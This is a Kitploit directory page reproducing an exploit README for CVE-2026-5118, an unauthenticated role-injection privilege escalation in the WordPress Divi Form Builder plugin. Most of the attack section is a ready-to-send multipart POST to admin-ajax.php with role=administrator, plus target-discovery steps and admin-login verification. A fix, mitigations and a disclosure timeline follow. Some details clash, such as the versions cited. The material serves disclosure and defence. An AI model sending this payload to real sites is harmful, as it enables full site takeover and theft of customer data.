Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | تصعيد الامتيازات غير المُصادَق عليه عبر حقن الأدوار | Kitploit
أدوات/GitHubGitHub/zycoder0day/cve-2026-5118
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | تصعيد الامتيازات غير المُصادَق عليه عبر حقن الأدوار

عرض المستودع
5منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — تصعيد الامتيازات بدون مصادقة


🎯 ملخص

تحتوي إضافة WordPress Divi Form Builder (الإصدار 5.1.2 والإصدارات الأقدم) على ثغرة حرجة (Critical) تتيح لمهاجم بدون مصادقة إنشاء حساب Administrator مباشرة عبر نموذج التسجيل.

حقل مخفي واحد. قيمة واحدة يتم تغييرها. وصول كامل إلى الموقع بأكمله.


🧨 ماذا يمكن للمهاجم أن يفعل؟

القدرةالأثر
🔑 إنشاء حساب مسؤول بدون تسجيل الدخولالاستيلاء الكامل على الموقع
📦 الوصول إلى بيانات عملاء WooCommerceخرق البيانات
💉 تعديل ملفات الإضافة/القالب (PHP)تنفيذ كود عن بُعد
🕳️ إنشاء باب خلفي مخفيوصول دائم
👥 عرض جميع بيانات المستخدمينانتهاك الخصوصية

🔬 تحليل الثغرة

موقع الثغرة

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

الكود الضعيف

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

لماذا ينجح هذا؟

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

ناقل الهجوم

يحتوي نموذج تسجيل DFB على حقل إدخال مخفي (hidden input):

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ إثبات المفهوم — سلسلة الهجوم

المرحلة 1: الهندسة — اكتشاف الهدف

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

المرحلة 2: استخراج معاملات النموذج

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

المرحلة 3: حقن الدور — تصعيد الامتيازات

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

المرحلة 4: التحقق — وصول المسؤول

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 التحقق المخبري

تم إجراء الاختبار في بيئة Docker معزولة (WordPress 6.5 + DFB v5.0.0):

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 الإصلاح الموصى به

الحل: قائمة السماح لأدوار التسجيل

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

خطوات إضافية

  1. إزالة معامل role من نموذج الواجهة الأمامية — استخدام default_user_role الموجود مسبقًا
  2. إضافة تحقق صارم من nonce في معالج AJAX
  3. إضافة فحص الصلاحيات current_user_can('create_users') للأدوار الخاصة
  4. تحديد معدل الطلبات (Rate limiting) على نقطة نهاية التسجيل لمنع هجمات القوة الغاشمة (brute-force)

📊 الجدول الزمني

التاريخالحدث
2026-04-13تم إصدار الإصدار 5.1.3 (إصلاح محتمل بناءً على سجل التغييرات)
2026-05-21تم التحقق من الثغرة بشكل مستقل في مختبر معزول
2026-05-21تم إرسال الكشف المسؤول إلى Divi Engine Security

🛡️ تخفيف مؤقت (قبل التصحيح)

  1. التحديث إلى الإصدار 5.1.3+ إذا كان متاحًا
  2. تعطيل نموذج تسجيل DFB حتى يتم تطبيق الإصلاح
  3. استخدام قاعدة WAF لحظر معامل role=administrator في طلبات POST
  4. مراقبة جدول wp_users بحثًا عن حسابات مسؤول جديدة غير معروفة
  5. تقييد الوصول إلى /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ إخلاء المسؤولية

أُنشئ هذا المستند لأغراض التعليم والكشف المسؤول (responsible disclosure). تم تنفيذ جميع اختبارات الاستغلال في بيئة مختبرية معزولة. أما على الأهداف الحية، فقد تم فقط الكشف السلبي (تحديد النموذج والمعاملات، دون إرسال أي بيانات استغلال).

المؤلف غير مسؤول عن إساءة استخدام المعلومات الواردة في هذا المستند.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • تصعيد الامتيازات بدون مصادقة
تم الاكتشاف والتحقق: 2026-05-21

تنزيل الأداة